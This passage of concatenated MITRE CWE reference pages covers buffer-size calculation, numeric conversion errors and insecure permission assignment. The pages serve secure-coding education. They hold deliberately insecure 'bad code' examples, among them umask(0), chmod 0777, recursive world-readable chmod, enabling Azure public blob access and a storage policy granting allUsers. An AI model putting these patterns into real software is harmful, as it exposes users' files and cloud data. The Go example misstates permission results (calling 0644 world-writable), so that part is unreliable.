MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1158	SEI CERT C Coding Standard - Guidelines 04. Integers (INT)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1162	SEI CERT C Coding Standard - Guidelines 08. Memory Management (MEM)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1399	Comprehensive Categorization: Memory Safety

Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Notes

Maintenance

This is a broad category. Some examples include:

simple math errors,
incorrectly updating parallel counters,
not accounting for size differences when "transforming" one input to another format (e.g. URL canonicalization or other transformation that can generate a result that's larger than the original input, i.e. "expansion").

This level of detail is rarely available in public reports, so it is difficult to find good examples.

Maintenance

This weakness may be a composite or a chain. It also may contain layering or perspective differences.

This issue may be associated with many different types of incorrect calculations (CWE-682), although the integer overflow (CWE-190) is probably the most prevalent. This can be primary to resource consumption problems (CWE-400), including uncontrolled memory allocation (CWE-789). However, its relationship with out-of-bounds buffer access (CWE-119) must also be considered.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Other length calculation error
CERT C Secure Coding	INT30-C	Imprecise	Ensure that unsigned integer operations do not wrap
CERT C Secure Coding	MEM35-C	CWE More Abstract	Allocate sufficient memory for an object

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
CAPEC-100	Overflow Buffers
CAPEC-47	Buffer Overflow via Parameter Expansion

References

[REF-106] David LeBlanc and Niels Dekker. "SafeInt". <http://safeint.codeplex.com/>.

[REF-107] Jason Lam. "Top 25 Series - Rank 18 - Incorrect Calculation of Buffer Size". SANS Software Security Institute. 2010-03-19. <http://software-security.sans.org/blog/2010/03/19/top-25-series-rank-18-incorrect-calculation-of-buffer-size>.

[REF-61] Microsoft. "Understanding DEP as a mitigation technology part 1". <https://msrc.microsoft.com/blog/2009/06/understanding-dep-as-a-mitigation-technology-part-1/>. URL validated: 2023-04-07.

[REF-60] "PaX". <https://en.wikipedia.org/wiki/Executable_space_protection#PaX>. URL validated: 2023-04-07.

[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 20, "Integer Overflows" Page 620. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.

[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 5: Buffer Overruns." Page 89. McGraw-Hill. 2010.

[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 8, "Incrementing Pointers Incorrectly", Page 401. 1st Edition. Addison Wesley. 2006.

[REF-64] Grant Murphy. "Position Independent Executables (PIE)". Red Hat. 2012-11-28. <https://www.redhat.com/en/blog/position-independent-executables-pie>. URL validated: 2023-04-07.

[REF-1332] John Richard Moser. "Prelink and address space randomization". 2006-07-05. <https://lwn.net/Articles/190139/>. URL validated: 2023-04-26.

[REF-1334] D3FEND. "Stack Frame Canary Validation (D3-SFCV)". 2023. <https://d3fend.mitre.org/technique/d3f:StackFrameCanaryValidation/>. URL validated: 2023-04-26.

[REF-1335] D3FEND. "Segment Address Offset Randomization (D3-SAOR)". 2023. <https://d3fend.mitre.org/technique/d3f:SegmentAddressOffsetRandomization/>. URL validated: 2023-04-26.

[REF-1336] D3FEND. "Process Segment Execution Prevention (D3-PSEP)". 2023. <https://d3fend.mitre.org/technique/d3f:ProcessSegmentExecutionPrevention/>. URL validated: 2023-04-26.

Content History

Submissions
Submission Date	Submitter	Organization
2006-07-19 (CWE Draft 3, 2006-07-19)	PLOVER
2006-07-19 (CWE Draft 3, 2006-07-19)
Modifications
Modification Date	Modifier	Organization
2008-07-01	Eric Dalci	Cigital
2008-07-01	updated Potential_Mitigations, Time_of_Introduction
2008-09-08	CWE Content Team	MITRE
2008-09-08	updated Applicable_Platforms, Maintenance_Notes, Relationships, Taxonomy_Mappings, Type
2008-10-14	CWE Content Team	MITRE
2008-10-14	updated Relationships
2008-11-24	CWE Content Team	MITRE
2008-11-24	updated Relationships, Taxonomy_Mappings
2009-12-28	CWE Content Team	MITRE
2009-12-28	updated Demonstrative_Examples, Likelihood_of_Exploit, Observed_Examples, Potential_Mitigations
2010-02-16	CWE Content Team	MITRE
2010-02-16	updated Common_Consequences, Demonstrative_Examples, Detection_Factors, Maintenance_Notes, Potential_Mitigations, Related_Attack_Patterns, Relationships
2010-04-05	CWE Content Team	MITRE
2010-04-05	updated Detection_Factors, Potential_Mitigations, References, Related_Attack_Patterns
2010-06-21	CWE Content Team	MITRE
2010-06-21	updated Common_Consequences, Detection_Factors, Potential_Mitigations, References
2010-09-27	CWE Content Team	MITRE
2010-09-27	updated Potential_Mitigations
2010-12-13	CWE Content Team	MITRE
2010-12-13	updated Potential_Mitigations
2011-03-29	CWE Content Team	MITRE
2011-03-29	updated Maintenance_Notes
2011-06-01	CWE Content Team	MITRE
2011-06-01	updated Common_Consequences
2011-06-27	CWE Content Team	MITRE
2011-06-27	updated Relationships
2011-09-13	CWE Content Team	MITRE
2011-09-13	updated Potential_Mitigations, References, Relationships, Taxonomy_Mappings
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated Demonstrative_Examples, Potential_Mitigations, References, Relationships
2012-10-30	CWE Content Team	MITRE
2012-10-30	updated Potential_Mitigations
2013-02-21	CWE Content Team	MITRE
2013-02-21	updated Demonstrative_Examples
2013-07-17	CWE Content Team	MITRE
2013-07-17	updated References
2014-02-18	CWE Content Team	MITRE
2014-02-18	updated Potential_Mitigations, References
2014-07-30	CWE Content Team	MITRE
2014-07-30	updated Detection_Factors, Relationships
2017-11-08	CWE Content Team	MITRE
2017-11-08	updated Likelihood_of_Exploit, References, Taxonomy_Mappings
2018-03-27	CWE Content Team	MITRE
2018-03-27	updated References
2019-01-03	CWE Content Team	MITRE
2019-01-03	updated Relationships
2019-06-20	CWE Content Team	MITRE
2019-06-20	updated Relationships
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated Relationships
2020-08-20	CWE Content Team	MITRE
2020-08-20	updated Relationships
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Relationships
2021-03-15	CWE Content Team	MITRE
2021-03-15	updated Demonstrative_Examples, Potential_Mitigations
2022-06-28	CWE Content Team	MITRE
2022-06-28	updated Observed_Examples
2022-10-13	CWE Content Team	MITRE
2022-10-13	updated References
2023-01-31	CWE Content Team	MITRE
2023-01-31	updated Description
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated Potential_Mitigations, References, Relationships
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes
Previous Entry Names
Change Date	Previous Entry Name
2008-01-30	Other Length Calculation Error

Weakness ID: 681

View customized information:

Description

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	704	Incorrect Type Conversion or Cast
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	192	Integer Coercion Error
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	194	Unexpected Sign Extension
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	195	Signed to Unsigned Conversion Error
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	196	Unsigned to Signed Conversion Error
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	197	Numeric Truncation Error
CanPrecede	Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.	682	Incorrect Calculation

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	136	Type Errors
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	189	Numeric Errors

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	704	Incorrect Type Conversion or Cast

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	194	Unexpected Sign Extension
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	195	Signed to Unsigned Conversion Error
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	196	Unsigned to Signed Conversion Error
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	197	Numeric Truncation Error

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	194	Unexpected Sign Extension
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	195	Signed to Unsigned Conversion Error
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	196	Unsigned to Signed Conversion Error
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	197	Numeric Truncation Error

Modes Of Introduction

Phase	Note
Implementation

Applicable Platforms

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Common Consequences

Scope	Impact	Likelihood
Other Integrity	Technical Impact: Unexpected State; Quality Degradation The program could wind up using the wrong number and generate incorrect results. If the number is used to allocate resources or make a security decision, then this could introduce a vulnerability.

Likelihood Of Exploit

High

Demonstrative Examples

Example 1

In the following Java example, a float literal is cast to an integer, thus causing a loss of precision.

(bad code)

Example Language: Java

int i = (int) 33457.8f;

Example 2

This code adds a float and an integer together, casting the result to an integer.

(bad code)

Example Language: PHP

$floatVal = 1.8345;
$intVal = 3;
$result = (int)$floatVal + $intVal;

Normally, PHP will preserve the precision of this operation, making $result = 4.8345. After the cast to int, it is reasonable to expect PHP to follow rounding convention and set $result = 5. However, the explicit cast to int always rounds DOWN, so the final value of $result is 4. This behavior may have unintended consequences.

Example 3

In this example the variable amount can hold a negative value when it is returned. Because the function is declared to return an unsigned int, amount will be implicitly converted to unsigned.

(bad code)

Example Language: C

unsigned int readdata () {

int amount = 0;
...
if (result == ERROR)
amount = -1;
...
return amount;

}

If the error condition in the code above is met, then the return value of readdata() will be 4,294,967,295 on a system that uses 32-bit integers.

Example 4

In this example, depending on the return value of accecssmainframe(), the variable amount can hold a negative value when it is returned. Because the function is declared to return an unsigned value, amount will be implicitly cast to an unsigned number.

(bad code)

Example Language: C

unsigned int readdata () {

int amount = 0;
...
amount = accessmainframe();
...
return amount;

}

If the return value of accessmainframe() is -1, then the return value of readdata() will be 4,294,967,295 on a system that uses 32-bit integers.

Observed Examples

Reference	Description
CVE-2022-2639	Chain: integer coercion error (CWE-192) prevents a return value from indicating an error, leading to out-of-bounds write (CWE-787)
CVE-2021-43537	Chain: in a web browser, an unsigned 64-bit integer is forcibly cast to a 32-bit integer (CWE-681) and potentially leading to an integer overflow (CWE-190). If an integer overflow occurs, this can cause heap memory corruption (CWE-122)
CVE-2007-4268	Chain: integer signedness error (CWE-195) passes signed comparison, leading to heap overflow (CWE-122)
CVE-2007-4988	Chain: signed short width value in image processor is sign extended during conversion to unsigned int, which leads to integer overflow and heap-based buffer overflow.
CVE-2009-0231	Integer truncation of length value leads to heap-based buffer overflow.
CVE-2008-3282	Size of a particular type changes for 64-bit platforms, leading to an integer truncation in document processor causes incorrect index to be generated.

Potential Mitigations

Phase: Implementation

Avoid making conversion between numeric types. Always check for the allowed ranges.

Memberships

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	738	CERT C Secure Coding Standard (2008) Chapter 5 - Integers (INT)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	739	CERT C Secure Coding Standard (2008) Chapter 6 - Floating Point (FLP)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	808	2010 Top 25 - Weaknesses On the Cusp
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	848	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 5 - Numeric Types and Operations (NUM)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	867	2011 Top 25 - Weaknesses On the Cusp
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	872	CERT C++ Secure Coding Section 04 - Integers (INT)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	873	CERT C++ Secure Coding Section 05 - Floating Point Arithmetic (FLP)
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	884	CWE Cross-section
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	998	SFP Secondary Cluster: Glitch in Computation
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1131	CISQ Quality Measures (2016) - Security
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1137	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 03. Numeric Types and Operations (NUM)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1158	SEI CERT C Coding Standard - Guidelines 04. Integers (INT)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1159	SEI CERT C Coding Standard - Guidelines 05. Floating Point (FLP)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1306	CISQ Quality Measures - Reliability
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1308	CISQ Quality Measures - Security
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1340	CISQ Data Protection Measures
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1416	Comprehensive Categorization: Resource Lifecycle Management

Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	FLP34-C	CWE More Abstract	Ensure that floating point conversions are within range of the new type
CERT C Secure Coding	INT15-C		Use intmax_t or uintmax_t for formatted IO on programmer-defined integer types
CERT C Secure Coding	INT31-C	CWE More Abstract	Ensure that integer conversions do not result in lost or misinterpreted data
CERT C Secure Coding	INT35-C		Evaluate integer expressions in a larger size before comparing or assigning to that size
The CERT Oracle Secure Coding Standard for Java (2011)	NUM12-J		Ensure conversions of numeric types to narrower types do not result in lost or misinterpreted data
Software Fault Patterns	SFP1		Glitch in computation
OMG ASCSM	ASCSM-CWE-681

References

[REF-962] Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". ASCSM-CWE-681. 2016-01. <http://www.omg.org/spec/ASCSM/1.0/>.

Content History

Submissions
Submission Date	Submitter	Organization
2008-04-11 (CWE Draft 9, 2008-04-11)	CWE Community
2008-04-11 (CWE Draft 9, 2008-04-11)	Submitted by members of the CWE community to extend early CWE versions
Modifications
Modification Date	Modifier	Organization
2008-07-01	Sean Eidemiller	Cigital
2008-07-01	added/updated demonstrative examples
2008-07-01	Eric Dalci	Cigital
2008-07-01	updated Potential_Mitigations, Time_of_Introduction
2008-09-08	CWE Content Team	MITRE
2008-09-08	updated Relationships
2008-11-24	CWE Content Team	MITRE
2008-11-24	updated Description, Relationships, Taxonomy_Mappings
2009-12-28	CWE Content Team	MITRE
2009-12-28	updated Applicable_Platforms, Likelihood_of_Exploit, Potential_Mitigations
2010-02-16	CWE Content Team	MITRE
2010-02-16	updated Relationships
2011-03-29	CWE Content Team	MITRE
2011-03-29	updated Demonstrative_Examples
2011-06-01	CWE Content Team	MITRE
2011-06-01	updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-06-27	CWE Content Team	MITRE
2011-06-27	updated Common_Consequences, Observed_Examples, Relationships
2011-09-13	CWE Content Team	MITRE
2011-09-13	updated Relationships, Taxonomy_Mappings
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated Demonstrative_Examples, References, Relationships, Taxonomy_Mappings
2014-07-30	CWE Content Team	MITRE
2014-07-30	updated Relationships, Taxonomy_Mappings
2017-11-08	CWE Content Team	MITRE
2017-11-08	updated Likelihood_of_Exploit, Observed_Examples, Taxonomy_Mappings, Type
2019-01-03	CWE Content Team	MITRE
2019-01-03	updated References, Relationships, Taxonomy_Mappings
2019-06-20	CWE Content Team	MITRE
2019-06-20	updated Relationships, Type
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated Relationships
2020-08-20	CWE Content Team	MITRE
2020-08-20	updated Relationships
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Relationships
2021-03-15	CWE Content Team	MITRE
2021-03-15	updated Relationships
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated Relationships
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes
2023-10-26	CWE Content Team	MITRE
2023-10-26	updated Observed_Examples
2024-02-29 (CWE 4.14, 2024-02-29)	CWE Content Team	MITRE
2024-02-29 (CWE 4.14, 2024-02-29)	updated Observed_Examples

Weakness ID: 732

Vulnerability Mapping: ALLOWEDThis CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review (with careful review of mapping notes)
Abstraction: ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.

View customized information:

Description

The product specifies permissions for a security-critical resource in a way that allows that resource to be read or modified by unintended actors.

Extended Description

When a resource is given a permission setting that provides access to a wider range of actors than required, it could lead to the exposure of sensitive information, or the modification of that resource by unintended parties. This is especially dangerous when the resource is related to program configuration, execution, or sensitive user data. For example, consider a misconfigured storage account for the cloud that can be read or written by a public or anonymous user.

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	668	Exposure of Resource to Wrong Sphere
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	285	Improper Authorization
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	276	Incorrect Default Permissions
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	277	Insecure Inherited Permissions
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	278	Insecure Preserved Inherited Permissions
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	279	Incorrect Execution-Assigned Permissions
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	281	Improper Preservation of Permissions
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	766	Critical Data Element Declared Public
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	1004	Sensitive Cookie Without 'HttpOnly' Flag

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	276	Incorrect Default Permissions
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	281	Improper Preservation of Permissions

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1011	Authorize Actors

Modes Of Introduction

Phase	Note
Architecture and Design
Implementation	REALIZATION: This weakness is caused during implementation of an architectural security tactic. The developer might make certain assumptions about the environment in which the product operates - e.g., that the software is running on a single-user system, or the software is only accessible to trusted administrators. When the software is running in a different environment, the permissions become a problem.
Installation	The developer may set loose permissions in order to minimize problems when the user first runs the program, then create documentation stating that permissions should be tightened. Since system administrators and users do not always read the documentation, this can result in insecure permissions being left unchanged.
Operation

Applicable Platforms

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: Not Technology-Specific (Undetermined Prevalence)

Class: Cloud Computing (Often Prevalent)

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Technical Impact: Read Application Data; Read Files or Directories An attacker may be able to read sensitive information from the associated resource, such as credentials or configuration information stored in a file.
Access Control	Technical Impact: Gain Privileges or Assume Identity An attacker may be able to modify critical properties of the associated resource to gain privileges, such as replacing a world-writable executable with a Trojan horse.
Integrity Other	Technical Impact: Modify Application Data; Other An attacker may be able to destroy or corrupt critical data in the associated resource, such as deletion of records from a database.

Likelihood Of Exploit

High

Demonstrative Examples

Example 1

The following code sets the umask of the process to 0 before creating a file and writing "Hello world" into the file.

(bad code)

Example Language: C

#define OUTFILE "hello.out"

umask(0);
FILE *out;
/* Ignore link following (CWE-59) for brevity */

out = fopen(OUTFILE, "w");
if (out) {

fprintf(out, "hello world!\n");
fclose(out);

}

After running this program on a UNIX system, running the "ls -l" command might return the following output:

(result)

-rw-rw-rw- 1 username 13 Nov 24 17:58 hello.out

The "rw-rw-rw-" string indicates that the owner, group, and world (all users) can read the file and write to it.

Example 2

This code creates a home directory for a new user, and makes that user the owner of the directory. If the new directory cannot be owned by the user, the directory is deleted.

(bad code)

Example Language: PHP

function createUserDir($username){

$path = '/home/'.$username;
if(!mkdir($path)){

return false;

}
if(!chown($path,$username)){

rmdir($path);
return false;

}
return true;

}

Because the optional "mode" argument is omitted from the call to mkdir(), the directory is created with the default permissions 0777. Simply setting the new user as the owner of the directory does not explicitly change the permissions of the directory, leaving it with the default. This default allows any user to read and write to the directory, allowing an attack on the user's files. The code also fails to change the owner group of the directory, which may result in access by unexpected groups.

This code may also be vulnerable to Path Traversal (CWE-22) attacks if an attacker supplies a non alphanumeric username.

Example 3

The following code snippet might be used as a monitor to periodically record whether a web site is alive. To ensure that the file can always be modified, the code uses chmod() to make the file world-writable.

(bad code)

Example Language: Perl

$fileName = "secretFile.out";

if (-e $fileName) {

chmod 0777, $fileName;

}

my $outFH;
if (! open($outFH, ">>$fileName")) {

ExitError("Couldn't append to $fileName: $!");

}
my $dateString = FormatCurrentTime();
my $status = IsHostAlive("cwe.mitre.org");
print $outFH "$dateString cwe status: $status!\n";
close($outFH);

The first time the program runs, it might create a new file that inherits the permissions from its environment. A file listing might look like:

(result)

-rw-r--r-- 1 username 13 Nov 24 17:58 secretFile.out

This listing might occur when the user has a default umask of 022, which is a common setting. Depending on the nature of the file, the user might not have intended to make it readable by everyone on the system.

The next time the program runs, however - and all subsequent executions - the chmod will set the file's permissions so that the owner, group, and world (all users) can read the file and write to it:

(result)

-rw-rw-rw- 1 username 13 Nov 24 17:58 secretFile.out

Perhaps the programmer tried to do this because a different process uses different permissions that might prevent the file from being updated.

Example 4

This program creates and reads from an admin file to determine privilege information.

If the admin file doesn't exist, the program will create one. In order to create the file, the program must have write privileges to write to the file. After the file is created, the permissions need to be changed to read only.

(bad code)

Example Language: Go

const adminFile = "/etc/admin-users"
func createAdminFileIfNotExists() error {

file, err := os.Create(adminFile)
if err != nil {

return err

}
return nil

}

func changeModeOfAdminFile() error {

fileMode := os.FileMode(0440)
if err := os.Chmod(adminFile, fileMode); err != nil {

return err

}
return nil

}

os.Create will create a file with 0666 permissions before umask if the specified file does not exist. A typical umask of 0022 would result in the file having 0644 permissions. That is, the file would have world-writable and world-readable permissions.

In this scenario, it is advised to use the more customizable method of os.OpenFile with the os.O_WRONLY and os.O_CREATE flags specifying 0640 permissions to create the admin file.

This is because on a typical system where the umask is 0022, the perm 0640 applied in os.OpenFile will result in a file of 0620 where only the owner and group can write.

Example 5

The following command recursively sets world-readable permissions for a directory and all of its children:

(bad code)

Example Language: Shell

chmod -R ugo+r DIRNAME

If this command is run from a program, the person calling the program might not expect that all the files under the directory will be world-readable. If the directory is expected to contain private data, this could become a security problem.

Example 6

The following Azure command updates the settings for a storage account:

(bad code)

Example Language: Shell

az storage account update --name <storage-account> --resource-group <resource-group> --allow-blob-public-access true

However, "Allow Blob Public Access" is set to true, meaning that anonymous/public users can access blobs.

The command could be modified to disable "Allow Blob Public Access" by setting it to false.

(good code)

Example Language: Shell

az storage account update --name <storage-account> --resource-group <resource-group> --allow-blob-public-access false

Example 7

The following Google Cloud Storage command gets the settings for a storage account named 'BUCKET_NAME':

(informative)

Example Language: Shell

gsutil iam get gs://BUCKET_NAME

Suppose the command returns the following result:

(bad code)

Example Language: JSON

{

"bindings":[{

"members":[

"projectEditor: PROJECT-ID",
"projectOwner: PROJECT-ID"

],
"role":"roles/storage.legacyBucketOwner"

},
{

"members":[

"allUsers",
"projectViewer: PROJECT-ID"
],
"role":"roles/storage.legacyBucketReader"

}

]

}

This result includes the "allUsers" or IAM role added as members, causing this policy configuration to allow public access to cloud storage resources. There would be a similar concern if "allAuthenticatedUsers" was present.

The command could be modified to remove "allUsers" and/or "allAuthenticatedUsers" as follows:

(good code)

Example Language: Shell

gsutil iam ch -d allUsers gs://BUCKET_NAME
gsutil iam ch -d allAuthenticatedUsers gs://BUCKET_NAME

Observed Examples

Reference	Description
CVE-2022-29527	Go application for cloud management creates a world-writable sudoers file that allows local attackers to inject sudo rules and escalate privileges to root by winning a race condition.
CVE-2009-3482	Anti-virus product sets insecure "Everyone: Full Control" permissions for files under the "Program Files" folder, allowing attackers to replace executables with Trojan horses.
CVE-2009-3897	Product creates directories with 0777 permissions at installation, allowing users to gain privileges and access a socket used for authentication.
CVE-2009-3489	Photo editor installs a service with an insecure security descriptor, allowing users to stop or start the service, or execute commands as SYSTEM.
CVE-2020-15708	socket created with insecure permissions
CVE-2009-3289	Library function copies a file to a new target and uses the source file's permissions for the target, which is incorrect when the source file is a symbolic link, which typically has 0777 permissions.
CVE-2009-0115	Device driver uses world-writable permissions for a socket file, allowing attackers to inject arbitrary commands.
CVE-2009-1073	LDAP server stores a cleartext password in a world-readable file.
CVE-2009-0141	Terminal emulator creates TTY devices with world-writable permissions, allowing an attacker to write to the terminals of other users.
CVE-2008-0662	VPN product stores user credentials in a registry key with "Everyone: Full Control" permissions, allowing attackers to steal the credentials.
CVE-2008-0322	Driver installs its device interface with "Everyone: Write" permissions.
CVE-2009-3939	Driver installs a file with world-writable permissions.
CVE-2009-3611	Product changes permissions to 0777 before deleting a backup; the permissions stay insecure for subsequent backups.
